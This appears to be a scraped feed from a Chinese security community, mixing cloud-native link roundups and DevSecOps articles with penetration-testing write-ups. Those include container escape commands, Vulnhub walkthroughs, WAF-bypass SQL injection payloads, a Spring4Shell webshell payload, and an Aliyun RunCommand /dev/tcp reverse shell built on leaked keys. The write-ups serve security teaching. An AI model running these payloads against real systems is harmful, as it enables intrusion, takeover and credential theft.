当前节点:huoxian
时间节点
2022年4月11日 12:31火线zone
【安全头条】新发现的恶意软件 以具有加密矿工的AWS Lambda 为目标
https://mp.weixin.qq.com/s/9UWRBc4caAQiHBAGm0IN1g
【云攻防系列】从CVE-2019-5736漏洞浅析AppArmor防御机制
https://mp.weixin.qq.com/s/aSLi7LmqEcxwiVujY64cBg
云原生安全(容器安全备忘单)- 第 1 部分
https://amini.eu/posts/cloud_native_security/
如何在 BGP 模式下使用 MetalLB
https://cloud.redhat.com/blog/metallb-in-bgp-mode
云原生领域 Podcast 推荐大全
https://icloudnative.io/posts/cloud-native-podcasts/
Anki 自定义同步服务器部署与使用
https://icloudnative.io/posts/anki-sync-server/
Kubernetes 集群需要重点关注的 6 个指标
https://mp.weixin.qq.com/s/A8rGh5Yl7aO_yz8dwm5YqA
EventBridge 特性介绍|以 IaC 的方式使用 EventBridge
https://mp.weixin.qq.com/s/SiH-OSomiSJXoWwSnCas_w
企业级云原生应用交付及管理系列 - Helm 调试及维护 (二)
https://moelove.info/2022/03/30/%E4%BC%81%E4%B8%9A%E7%BA%A7%E4%BA%91%E5%8E%9F%E7%94%9F%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E5%8F%8A%E7%AE%A1%E7%90%86%E7%B3%BB%E5%88%97-Helm-%E8%B0%83%E8%AF%95%E5%8F%8A%E7%BB%B4%E6%8A%A4-%E4%BA%8C/
2022年4月11日 04:01火线zone
特权模式逃逸和挂载目录逃逸是最常见的逃逸手法,特权模式逃逸,也就是熟知的--privileged选项启动后容器不受seccomp等机制的的限制,常见利用就是挂载根目录或利用docker.sock创建恶意容器。
而基于容器特权模式逃逸也分不同特权情况,本文总结常见特权模式下不同Capabilities常见对应的攻击手法
privileged参数逃逸
最常见也是最简单的一种情况,容器启动时如果添加了--privileged参数则会具备全部Capabilities,容器可以访问主机所有device以及具有mount操作的权限。
这里需要注意使用了--privileged参数不等于只是具备全部Capabilities,还包括禁用Seccomp和AppArmor等安全机制、访问device。
特权容器介绍:https://www.docker.com/blog/docker-can-now-run-within-docker/
简单来说就是特权容器拥有所有设备的访问权限,通过一些设置来达到从容器内部和从外部访问相同的效果。
docker run -it --rm --privileged ubuntu:latest bash
容器中可以通过查看Capabilities来判断是否是特权容器:
查看该容器具备的特权列表:
capsh --decode=0000003fffffffff

以privileged参数运行的容器中携带了所有的cap,并且可以访问所有device:
能访问device了逃到宿主机也很简单,先将其挂载到容器中,然后使用chroot获取一个以宿主机根目录为根目录的shell来拿到宿主机的权限。
 
mkdir /tmp/mnt mount /dev/sda1 /tmp/mnt cd /tmp/mnt chroot ./ bash reverse shell
常用判断工具cdk也是通过cat /proc/1/status | grep Cap查询对应出来的值为0000003fffffffff来判断是否是特权容器:
cap_sys_admin权限逃逸
cap_sys_admin权限下也有几种方式可以逃逸,常见的为notify_on_release机制逃逸、重写devices.allow逃逸等。
容器两大隔离机制:
linux命名空间机制:文件系统、网络、进程、进程间通信和主机名等方面实现隔离。
cg
2022年4月9日 22:02火线zone
某靶机渗透测试思路详解
环境搭建
靶机下载地址
https://download.vulnhub.com/dc/DC-1.zip
虚拟机导入靶机
导入虚拟机之后,可直接开始了,这里靶机的地址我们也不知道,完全的黑盒测试,攻击机为kali
信息搜集
首先需要测试靶机的ip地址是多少
netdiscover -n 192.168.0.102/24
参数命令详解
可能会报错,具体原因不清楚,这里建议使用
因为使用的是vmware所以直接进本可以确定目标靶机的ip地址是192.168.0.119
扫描端口
nmap -sV 192.168.0.119
查看web服务
http://192.168.0.119/
22端口尝试爆破
111端口的利用经过搜索只是能利用内存造成溢出使靶机崩溃,并没有什么利用手法
思路+方式
针对Drupal搜索一下,发现该cms存在RCE漏洞,直接利用msf的攻击模块可以操作。
msfconsole
search druapl
首先想到的是use 3因为,后面的描述,但是实际情况是use 4才能够拿到shell
use 4
set rhost 192.168.0.119
set lhost 192.168.0.102
exploit
执行shell命令
使用ls遍历文件,看到flag1.txt,直接cat命令打开
cat flag1.txt
这是flag2文件的条件思路,要看配置文件的内容,
着实操作有点难受,实现交互式shell的几种方式尝试一下,也就python好用
python -c 'import pty;pty.spawn("/bin/bash")'
舒服多了,找配置文件使用命令去查找
grep -rn "set" *
但是还是没找到文件位置
grep -rn "settings.php" *
至于说为什么找set,是因为config的字符串找不到配置文件,配置文件位置在
/var/www/sites/default/settings.php
查找是否存在flag
grep -i "flag" settings.php
找到flag2
下面的数据库信息是给出的flag3的线索
登录mysql数据库
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
拿到admin
2022年4月9日 16:02火线zone
菜狗初次尝试安全狗bypass大佬们轻点喷
0x01 安全狗版本
当前版本是最新版安全狗
主程序版本号为:v4.0.23137
0x02 Bypass过程
1. or 绕过
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' or 1=1-- +&submit=%E6%9F%A5%E8%AF%A2 //拦截
经过测试
name=1' or -- + //不拦截 name=1' or 1-- + //拦截 name=1' or/*/**/1-- + //不拦截 name=1' or/*/**/1=1-- + //不拦截
通过/*/**/成功绕过or 1=1
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' or/*/**/1-- +&submit=%E6%9F%A5%E8%AF%A2
2. order by 绕过
name=1' order -- + //不拦截 name=1' by -- + //不拦截 name=1' order b -- + //不拦截 name=1' order by --+ //拦截
通过上面可以判断出当order by组合在一起便会触发拦截规则,那么我们需要在oder和by之间来进行绕过
和上面绕过or一样可以通过/*/**/来对order by进行绕过
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' order/*/**/by 2 -- +&submit=%E6%9F%A5%E8%AF%A2
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' order/*/**/by 3 -- +&submit=%E6%9F%A5%E8%AF%A2
通过order by语句可以得知字段数量为2
3. union select绕过
name=1' union -- + //不拦截 name=1' select -- + //不拦截 name=1' union sel -- + //不拦截 name=1' union select -- + //拦截
通过上面可以判断出当union select组合在一起便会触发拦截规则,那么我们需要对u
2022年4月9日 09:31火线zone
本人大三准备写计算机安全毕业设计求想法,主要想复试的时候能通过毕业论文多加几分,用python写。我学过的(多线程多进程 扫描器(外接nmap…内置shell工具) 网络编程 下载等待界面 对话框 爬虫(内置浏览器) 文件处理 mysql
错误调试 逆向 密码学(绕waf))
目前能想到的武器库....学的多但是不深。求想法
暑假准备去实习,动手的话应该是在大四上学期
2022年4月8日 17:31火线zone
Momentum靶场实战详解
靶机下载链接: https://download.vulnhub.com/momentum/Momentum.ova
难度: 中
目标: 取得root权限+2Flag
0x01 网络配置
这里简单介绍下我的网络配置,我这里用的是Vmware kali 和 virtual box 的靶机
vmware kali 配置了两块网卡 :
靶机网络配置:
0x02 信息搜集
首先使用下面这条命令来发现靶机的ip地址
arp-scan -l -I eth1
到这里我们知道了靶机的ip:192.168.27.8 顺便讲一下kali的ip:192.168.27.2
接下来我们开始使用nmap来扫描靶机开放的端口和服务
通过上图发现,靶机开放了22端口的ssh服务和80http服务,那么接下来我通过浏览器直接去访问80端口的http服务。
0x03 XSS漏洞
发现我们给id参数赋的值会直接显示在页面上,所以,我怀疑存在反射xss漏洞。
如下图所示,在我输入以下弹cookie的payload后发现成功弹出了cookie,所以到这里只是发现了一个xss漏洞,对突破边界没啥用。
<script>alert(document.cookie)</script>
这cookie暂时没啥用,姑且先放在这里
cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt
0x04 WEB路径爆破
然后我又使用dirsearch进行了一波目录扫描,发现了一个可以访问的js目录
0x05 JS脚本分析与AES解密
访问js目录下的main.js文件时,在文件的注释中发现了一段用来加解密的js脚本,该脚本用的加解密算法是AES,还给出了对应的密钥,所以我尝试拿刚刚获取到的cookie用这里的加解密算法通过在线网站解密,看能否解密出有用的信息。
解密用的在线网站链接:https://codepen.io/omararcus/pen/QWwBdmo
然后根据我们的需要,我对js代码进行了一些修改,如下图所示:
auxerre-alienum##
将cookie解密后,发现了一串疑似是账号-密码的字符串,结合前面nmap扫描到22端口开放了ssh服务,所以使用获取到的这个字符串尝试进行了ssh登录
ssh auxerre@192.168.27.8
2022年4月8日 15:31火线zone
影响范围
Spring Framework 5.3.X < 5.3.18 Spring Framework 5.2.X < 5.2.20
环境搭建
目前有三种搭建方式,第一种使用官网上的老版本去直接搭建,第二种使用vulhub环境搭建,第三种使用vulfocus环境搭建。
vulhub环境
git clone https://github.com/vulhub/vulhub.git chmod 777 vulhub cd vulhub/spring/CVE-2022-22965 docker-compose up -d
docker ps
访问
http://ip:8080
payload
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar1&class.module.classLoader.resources.c
2022年4月8日 11:31火线zone
K8s 安全策略最佳实践
https://mp.weixin.qq.com/s/ZDqchROixZT4enVYH6UIfw
如何使用 PTS 快速发起微服务压测
https://mp.weixin.qq.com/s/hgxuMvRcLlASMDO0hKvftw
红队视角下的公有云基础组件安全(二)
https://mp.weixin.qq.com/s/lL32lywlrnuyhJkQk5NAEw
使用 MetalLB BGP 在裸机集群上部署高可用性、容错高的 Kubernetes 服务
https://cloud.redhat.com/blog/deploying-a-high-availability-fault-tolerant-kubernetes-service-on-baremetal-clusters-with-metallb-bgp
AWS Lambda 函数 URL:用于单功能微服务的内置 HTTPS 终端节点
https://aws.amazon.com/cn/blogs/aws/announcing-aws-lambda-function-urls-built-in-https-endpoints-for-single-function-microservices/
《2021网络空间测绘年报》| 国内77%的 Kubernetes资产受到已知漏洞影响
https://mp.weixin.qq.com/s/b5JaeGqvnZtPfR6O83MXiw
快速上手云原生安全平台 NeuVector
https://juejin.cn/post/7083698738618712094
轻量化安装 TKEStack:让已有 K8s 集群拥有企业级容器云平台的能力
https://segmentfault.com/a/1190000041664141
2022年4月7日 18:01火线zone
关于VPC的概念还请看:https://zone.huoxian.cn/d/985

一、初始化访问
1、元数据
1.1、SSRF导致读取元数据
如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证
如果配置RAM角色
在获取ram临时凭证的时候,有一个必要的条件
当前ECS必须被授予了RAM
首先我们来看一下没有授予权限的机器
访问这个目录后就会显示404,接下来我们配置好权限之后在请求一次
注意
如果管理员在配置RAM权限的时候选择的角色为服务,那么就没办法用该账号访问别的
如果权限较小的话,也无法进行更多的横向操作
2、AK密钥泄露
云场景下的凭证泄露可以分成以下几种:
控制台账号密码泄露,例如登录控制台的账号密码
临时凭证泄露
访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露
实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露
对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:
Github 敏感信息搜索
反编译目标 APK、小程序
目标网站源代码泄露
2.1、执行任意命令
首先如果使用Aliyun的CLi作为演示
aliyun ecs DescribeInstances
我们使用该命令来获取所有的ECS信息,并输出到ecs.json文件中
我们可以看到这里有一个InstanceId
随后使用下面的命令,可以在ECS上执行命令
aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "touch /tmp/UzJu"
2.2、反弹shell
在新服务器中开启NC
aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'"
随后使用aliyun cli输入命令
2.3、创建RAM账号登录控制台
获取到泄露的AK之后,可以通过写入RAM账户登录
首先在aliyun cli中配置泄露的AKID
2022年4月7日 14:31火线zone
关于VPC的概念还请看:https://zone.huoxian.cn/d/985

一、初始化访问
1、元数据
1.1、SSRF导致读取元数据
如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证
如果配置RAM角色
在获取ram临时凭证的时候,有一个必要的条件
当前ECS必须被授予了RAM
首先我们来看一下没有授予权限的机器
访问这个目录后就会显示404,接下来我们配置好权限之后在请求一次
注意
如果管理员在配置RAM权限的时候选择的角色为服务,那么就没办法用该账号访问别的
如果权限较小的话,也无法进行更多的横向操作
2、AK密钥泄露
云场景下的凭证泄露可以分成以下几种:
控制台账号密码泄露,例如登录控制台的账号密码
临时凭证泄露
访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露
实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露
对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:
Github 敏感信息搜索
反编译目标 APK、小程序
目标网站源代码泄露
2.1、执行任意命令
首先如果使用Aliyun的CLi作为演示
aliyun ecs DescribeInstances
我们使用该命令来获取所有的ECS信息,并输出到ecs.json文件中
我们可以看到这里有一个InstanceId
随后使用下面的命令,可以在ECS上执行命令
aliyun ecs RunCommand --InstanceId xxxx --RegionId cn-beijing --Type RunShellScript --CommandContent "touch /tmp/UzJu"
2.2、反弹shell
在新服务器中开启NC
aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'"
随后使用aliyun cli输入命令
2.3、创建RAM账号登录控制台
获取到泄露的AK之后,可以通过写入RAM账户登录
首先在aliyun cli中配置泄露的AKID等信息
2.3.1、GetAccount
2022年4月7日 13:01火线zone
Kafka 在私有云 DNAT 环境中集群的典型应用
https://mp.weixin.qq.com/s/rhLqzRDJsUQilrTZ2OgFLQ
如何使用 Serverless Devs 部署静态网站到函数计算
https://mp.weixin.qq.com/s/g8WeccJx6oqi0LezGHDmCw
技术公开课回放|容器在野安全与典型攻击手法解密
https://mp.weixin.qq.com/s/uTQw4cOl2w2RWkWAyBLfBg
通过 Azure DevOps 对 Azure 云环境执行和预防攻击
https://labs.f-secure.com/blog/performing-and-preventing-attacks-on-azure-cloud-environments-through-azure-devops
Kubernetes,具有 CSI 驱动程序 v2.5.1 的 vSAN 延伸集群
https://cormachogan.com/2022/04/06/kubernetes-vsan-stretched-cluster-with-csi-driver-v2-5-1/
azure主动目录暴露内部信息
https://www.secureworks.com/research/azure-active-directory-exposes-internal-information
利用 Azure 队列存储:具有过多权限的未过期 SAS 令牌
https://medium.com/system-weakness/exploiting-azure-queue-storage-unexpired-sas-token-with-excessive-permission-e0f47475cb8d
浅谈云上攻防——Kubelet访问控制机制与提权方法研究
https://mp.weixin.qq.com/s/jESETCZzB5ZsLnb6F2xFcQ
2022年4月7日 12:31火线zone
service特性
Service 通过 label 关联对应的 Pod
Servcie 生命周期不跟 Pod 绑定,不会因为 Pod 重建改变 IP
提供了负载均衡功能,自动转发流量到不同 Pod
可对集群外部提供访问端口
集群内部可通过服务名字访问
创建service
通过标签test-k8s跟对应的 Pod 关联上
apiVersion: v1 kind: Service metadata: name: test-k8s spec: selector: app: test-k8s type: ClusterIP ports: - port: 8080 # 本 Service 的端口 targetPort: 8080 # 容器端口
该service的名字是test-k8s;
通过标签app: test-k8s与pod进行关联。我们前面创建deployment时也是使用这个标签进行关联,所以该service和deployment共用pod:
service关联的pod:
deployment关联的也是这两个pod,两者都是通过标签进行关联:
service的IP为10.110.66.197
通过端口映射,访问service的8080端口即为pod容器8080端口,为负载均衡:
对外暴露服务
apiVersion: v1 kind: Service metadata: name: test-k8s spec: selector: app: test-k8s # 默认 ClusterIP 集群内可访问,NodePort 节点可访问,LoadBalancer 负载均衡模式(需要负载均衡器才可用) type: NodePort ports: - port: 8080 # 本 Service 的端口 targetPort: 8080 # 容器端口 nodePort: 31000 # 节点端口,范围固定 30000 ~ 32767
那么我们就可以直接通过节点IP进行访问了:
同样通过节点的公网IP可以访问:
经过本地尝试,在master和两个work共三个节点,均可通过节点IP访问这个31000端口服务。
service类型
ClusterIP
默认的,仅在集群内可用
NodePort
暴露端口到节点,提供了集群外部访问的入口
端口范围固定 30000 ~ 32767
LoadBalancer
需要负载均衡器(通常都需要云
2022年4月6日 21:02火线zone
前言
"大妹子"跟我说环境坏了搞不了了?事实上不影响,一般情况下我们的正常思维就是处理好问题或者恢复环境再继续,但是这个ICA1就比较有意思,,,,,
环境搭建
name:ICA1
攻击机kali:192.168.0.101
靶机ip:192.168.0.105
信息搜集
端口扫描
nmap -A -p- 192.168.0.105
22端口,80端口web服务,3306mysql端口,33060端口
使用msf查找一下该cms可以利用的漏洞有哪些
searchsploit qdpm
9.2的版本能够利用的只有未授权的密码泄露,查询之后发现和扫描目录看到的配置文件的内容是一致的。
目录扫描,这里我没有使用kali的字典,能够访问的目录文件不多,但是明确有内容的是install、template和core目录
在install目录可以重新安装能进数据库,所以3306端口开放但是爆破不出密码也是正常的。template目录下可以看到
有个sh文件,但是目前为止不知道有什么用,但是可执行文件可能跟后期的提权有关(猜测)
这里以为可以直接重置数据库,但是并不能行
http://192.168.0.105/core/
有配置文件
http://192.168.0.105/core/config/databases.yml
数据库的用户名以及密码为qdpmadmin/UcVQCMQk2STVeS6J
这里说啥都不要用工具连数据库,连到si都连不上,原因是因为mysql版本8.0不支持大小写,网上百度一波,连接依旧没连上,但是确实mysql密码已经修改了
命令操作吧
mysql -uqdpmadmin -h 192.168.0.105 -pUcVQCMQk2STVeS6J
linux系统明确区分大小写,重新尝试一下
查看mysql数据库中可以看到password的格式
为了使用nativate连接,修改 user 表中的密码规则,回到mysql5.7的密码验证格式
修改密码规则
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '123456';
刷新数据库
FLUSH PRIVILEGES;
还是连不上可视化数据库。使用qdpm数据库查表,user表为空,有数据的只有configuration
use qdpm;
show table
2022年4月6日 19:32火线zone
一、DevOps目标
说到DevSecOps就不得不提DevOps,后者的目标是提升整个研发效能,进行更便捷、更快捷、更可靠的交付,从而提高产品竞争优势。DevOps模糊了以往研发模式中开发、测速、运维等岗位和角色的界限,加强了他们之间的协作,甚至鼓励将各个角色从传统的专家团队的组织结构,重新编制成全功能团队,用以加强协作。
技术层面通过流水线和一系列自动化机制、成熟的可伸缩的基础设施(如云)等,使开发人员获得更高的效能,从而更加频繁且快速地将代码变为产品,并从这种快速中获得持续不断的反馈和验证,以获得更高的可靠性。
二、DevSecOps目标
传统的DevOps主要考虑速度和质量,并没有考虑信息安全。所以在DevOps比较成熟的情况下,信息安全就变成了研发效能继续改进的瓶颈。DevSecOps由此运营而生,最终的目的就是通过安全左移到开发测速团队,使安全评审阶段的时长变短,从而进一步缩短交付周期。并且,它可以在更早的阶段发现并修复安全漏洞,从而减少上线后发现安全漏洞的返工成本。

图1-1 三大模式所需时间
三、DevSecOps优点
所谓安全左移,在实践中通过将安全等工作(比如安全测试)从部署前的安全评审甚至上线后的漏扫、渗透等阶段左移到更早的阶段,从而更早、更快地发现并解决安全问题,而不是等到几天后部署了才发现,或者几个月后再发出渗透测试报告。DevSecOps的出现并非偶然,它是软件持续交付演进的必然产物。在这种新型软件交付模式下,安全行为会分布在软件交付的各个阶段,而安全的职责也会落在各个阶段的参与者身上,正所谓,安全不是一个人或者一个团队的安全,而是所有人的安全。DevSecOps可以给研发效能提供诸多好处,主要表现在以下三个方面:
1)交付更快:DevSecOps通过自动化安全工具扫描,无感的左移了部分传统模式中存在上线前最后阶段甚至上线后进行的安全扫描工作,使整个交付周期变得更短,交付速度因此变得更快。
2)节省成本:DevSecOps由于在SDLC前期阶段发现并且修正安全隐患和漏洞,避免了传统模式中在上线前最后阶段甚至上线后进行安全扫描发现高危安全漏洞后进行的返工,从而从流程上节省了成本。
传统DecOps模式下,在上线前或者上线后发现高危安全漏洞返工修复安全漏洞后,整个开发、测试和安全评审流程又要重新走一遍会消耗大量时间精,额外消耗的成本就是T2+T3+T4人力。
DecSecOps模式下,由
2022年4月6日 15:32火线zone
1、前言
这是近期在对某项目邮件系统进行渗透测试的时候发现的反射型XSS漏洞问题,过程简单记录一下。
2、测试过程
对某项目邮件系统进行渗透测试,尝试邮件伪造等无果后,从JS中入手查看是否存在未授权接口以及其他接口。在查看JS源码过程中发现mail.js,文件中存在两处查询接口。
查询接口一
查询接口二
遂对两处接口进行测试,尝试SQL注入等无果,使用XSS payload进行测试,页面弹框存在反射型XSS漏洞

同上所述,对接口二进行测试,同样也存在反射型XSS漏洞。

3、总结
渗透测试过程中除了常规测试之外还需要对测试系统进行全局观察和判断。
2022年4月6日 15:32火线zone
随着针对软件供应链攻击事件的频繁发生,保护我们的软件供应链至关重要。此外,在过去几年中,容器采用率也有所增加。根据这些信息,人们对容器镜像签名的需求日益增长,这可以帮助我们有效防止供应链攻击事件的发生。
此外,如今我们使用的大多数容器,即使我们在生产环境中使用它们也依然很容易遭受供应链攻击。在传统的 CI/CD 工作流中,我们生成镜像并将它们推送到注册表中。确保供应链安全的一个重要部分就是我们所构建镜像的完整性,这意味着我们必须确保我们构建的镜像未被篡改,同时这也意味着要保证我们从注册表中提取的镜像与我们将要部署到生产系统中的镜像相同。
证明镜像未被篡改的最简单有效的方法之一(感谢 Sigstore)是在构建镜像后立即对其进行签名,并在把它们部署到生产系统之前对其进行验证 。这就是Cosign和Kyverno发挥作用的地方。
Kyverno 是一个专为 Kubernetes 设计的开源策略引擎,对 Kubernetes 资源进行管理,而且编写策略不需要任何新语言。什么是策略引擎? 它是一款允许用户定义一组可用于验证、变异和生成 Kubernetes 资源的软件。作为一个CNCF沙箱项目,Kyverno开始获得社区的支持和关注。由于近年来软件供应链攻击事件的频繁发生,Kyverno越来越受欢迎。Kyverno 已通过支持验证镜像签名和 in-toto 认证进行工作负载保护。这些工作负载保护是通过cosign和SLSA框架实现的。
使用Cosign签名和验证
Cosign是一个用于容器镜像签名和验证的工具,由Linux基金会和Project Sigstore共同维护。除其他功能外,Cosign还支持KMS签名,内置二进制透明度以及Rekor和Kubernetes策略实施的时间戳服务。此外,Kyverno 也利用 Cosign 来验证容器镜像签名、认证等。
软件构件通常是不透明的blob,无法轻松检查其安全性,因此更常见的是推理它们是如何形成的,而不是它们中的内容。我们不能将策略应用于单独的代码行,而是应用策略来描述谁构建了软件,如何构建它,以及代码来自哪里。这个面包屑组件通常被称为软件的来源。
<!--如果您想获得有关出处和认证的更多详细信息,请参阅来自 丹·洛伦克(Dan Lorenc)的博客(@lore nc_dan)-->
用户不是直接对制品进行签名,而是创建一个文档,用于捕获他们签署制品背后的意图以及所做的任
2022年4月6日 15:02火线zone
01#原创文章激励计划
根据【火线Zone社区运营规则 v0.2】相关要求规定,为鼓励所有社区用户进行原创文章的分享,实行#原创文章激励#计划。
要求:具备原创性,内容具备深度和可读性,点赞数>10
点赞 >10 的原创文章,均可参与周度计划评选,按照文章Rank值来计算排名,前5名获得对应奖励。
Rank = 评论数 X 3 + 点赞数 X 2 + 阅读量 X 1
第一名:500元现金+500查克拉
第二名:400元现金+400查克拉
第三名:300元现金+300查克拉
第四名:200元现金+200查克拉
第五名:100元现金+100查克拉
五名之后:100查克拉
上周符合激励计划的文章有:
第一名:500元现金+500查克拉
标题:Java Filter型内存马入门 - Tomcat JSP内存马为例
链接:https://zone.huoxian.cn/d/1019
作者:taamr
第二名:400元现金+400查克拉
标题:Spring Cloud Function 漏洞复现
链接:https://zone.huoxian.cn/d/1016
作者:阿超
第三名:300元现金+300查克拉
标题:帅哥小姐姐看过来-某靶机渗透
链接:https://zone.huoxian.cn/d/1021
作者:Betta
第四名:200元现金+200查克拉
标题:腾讯云服务器攻防(CVM+轻量应用服务器)
链接:https://zone.huoxian.cn/d/1028
作者:KEVIL
第五名:100元现金+100查克拉
标题:AWS EC2 弹性计算服务攻防
链接:https://zone.huoxian.cn/d/1022
作者:TeamsSix
第六名:100查克拉
标题:谷歌云 Compute Engine攻防
链接:https://zone.huoxian.cn/d/1043
作者:ricky
所有奖励每周一进行结算(即本周奖励结算上周的原创文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#,无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年4月6日 14:32火线zone
前言
在之前的文章谈到的安全测试所在的三个阶段,并大概分析了三个阶段对应技术的优劣势,但是IAST那块因为内容太多并没有铺开来说,今天将着重来谈谈这个在安全测试里举足轻重的一员。
一、简介
IAST,全称是“Interactive application security testing”,翻译过来叫交互式应用安全测试,是一个能自动识别判断应用和API漏洞的一种工具,或者说一种技术。
1、产品上线前闭环漏洞
传统的漏扫工具是在应用上线后,对http(s)请求进行扫描,在应用外部视角,发现漏洞。IAST与之不同,它是持续的,在应用内部,监控并发现漏洞,这意味着,可以在产品上线前,在测试环境中使用,将漏洞扼杀在摇篮之中,极大程度降低了产品上线后的安全风险。
2、产品上线后检测攻击并阻止漏洞利用
当然,也可以在上线后使用,在生产环境使用,这时候就是IAST的进化版本,目前以百度OpenRasp为代表的RASP技术,它跟WAF一样,但又不完全一样。WAF是从网络流量的角度来阻止攻击,RASP是从应用内部持续的监控,发现并拦截攻击,不仅在精确度和扩展性上优于传统的Web防护方法,而且能提供在几分钟内将多个业务系统部署新的防护手段的所需架构。
二、什么是IAST
IAST从某种角度来说,它并不能算一个扫描器,因为它并不会主动的去扫描你的应用或API。有过运维经验的小伙伴,可以把它跟zabbix进行类比,zabbix是通过设置一系列的规则和阈值,监控系统状态参数或者服务的某些返回值,一旦触发就同步告警;这里IAST的插桩模式也是类似,它是通过持续不断的在应用内部进行监控,只不过这里的规则和阈值是从漏洞的视角去进行预制的,侦测是否存在符合漏洞规则的情景,一旦符合预先设置的规则,就进行告警,所以,我感觉用监视器形容可能会更合适。
常用有效的IAST技术是通过插桩来实现的,通过在代码运行的中间件上插入探针,通过探针来识别判断安全风险,直接从运行中的代码发现问题,以实现自动化识别和诊断在应用和API中的软件漏洞。
三、IAST探针如何工作
因为部署在服务的中间件里面,IAST探针可以从中获取很多的信息,从某种角度来说,它可以说是SAST和DAST的结合体,包括但不限于代码、流量的分析,主要有以下几个方面:
1、代码—IAST能访问所有和应用一起部署的源代码和二进制代码,代码探头对应用中每一行代码做二进制的静态分析,包括库和框架;
2、
2022年4月6日 12:32火线zone
微软被发现高危的账户越权访问漏洞
https://mp.weixin.qq.com/s/0TKKBDV8lAIpFqZU-d10wg
K8S Pod 新安全策略 Pod Security Admission 介绍 | K8S Internals 系列第一期
https://mp.weixin.qq.com/s/VJUvjzjTP4h24jzJQE0AeQ
云原生时代如何用 Prometheus 实现性能压测可观测-Metrics 篇
https://mp.weixin.qq.com/s/EALj-qDIgEwWjlItGcSoww
关于大型互联网企业DevSecOps体系构建的总结与思考
https://mp.weixin.qq.com/s/13VZsnv6dtJD550qmLGfaQ
如何在 Kubernetes Pod 内进行网络抓包
https://mp.weixin.qq.com/s/CV-GLnXhEy5U67GIpkOxLQ
为 Kubernetes 集群启用 Pod 安全策略
https://mp.weixin.qq.com/s/Hbv7vw1t3_LTN1yFgChkDg
深入浅出 eBPF
https://www.ebpf.top/post/btfgen-one-step-closer-to-truly-portable-ebpf-programs/
利用Azure Queue Storage:未过期的SAS令牌与过多的权限
https://medium.com/@sahadmk/exploiting-azure-queue-storage-unexpired-sas-token-with-excessive-permission-e0f47475cb8d
从 50 多个不同的概念作为代码进行深入研究和趋势分析
https://www.jedi.be/blog/2022/02/23/trends-and-inventory-of-50-as-code-concepts
Kubernetes 是如何控制并发和资源变更的呢?
https://mp.weixin.qq.com/s/pLmKnu-PY6hdcO7qmdvb5A
2022年4月6日 10:32火线zone
0x00 前言
这是近期一个日常测试挖掘到的信息泄露问题,过程比较简单。


0x01 任意注册
开局一个任意注册,手机号注册做了相应注册验证机制,邮箱注册没做,通过任意注册进入个人中心,但没发现可操作的空间!



0x02 越权访问
从burp中fuzz了路径,发现由一个名为/Member的路径下有响应,接着访问该路径,是个越权访问,一个任意注册的账号可以查看其他用户信息。

这里虽然能查看用户信息,但只能查看第一页,点击其他页面返回的信息依然是第一页的信息,通过burp抓包,查看其请求逻辑,发现其通过参数xxxxID作为请求验证,只要历遍其参数则可查看其他人员信息,包括身份证,手机号等。

修改id,可查看其他信息,通过测试前端查看不到的id,证明可对其参数进行历遍,从而获取信息。



0x03 小结
1、通过前台任意注册进入个人中心
2、利用burp抓包发送到intruder,爆破路径发现/Member路径下存在响应
3、访问/Member路径越权进入管理中心发现存在信息泄露
4、burp查看其请求逻辑,发现可fuzz其xxxxID 参数进行数据查询。
2022年4月5日 18:01火线zone
0x00 前言
日常渗透测试中,在进行数据包的重放或者是篡改数据包时,会碰到一些存在数据加密或加签的站点,这时我们就得寻找加签或者加密的算法,而这寻找过程往往有一定难度。总的来讲,对于数据解密或者加签破解的难度:app>web≥wxapp,同时api接口都是相同的,为降低不必要的挖洞难度,可将目光放到微信小程序上。本次就是以一个微信小程序站点开展的测试
0x01 拖取微信小程序包
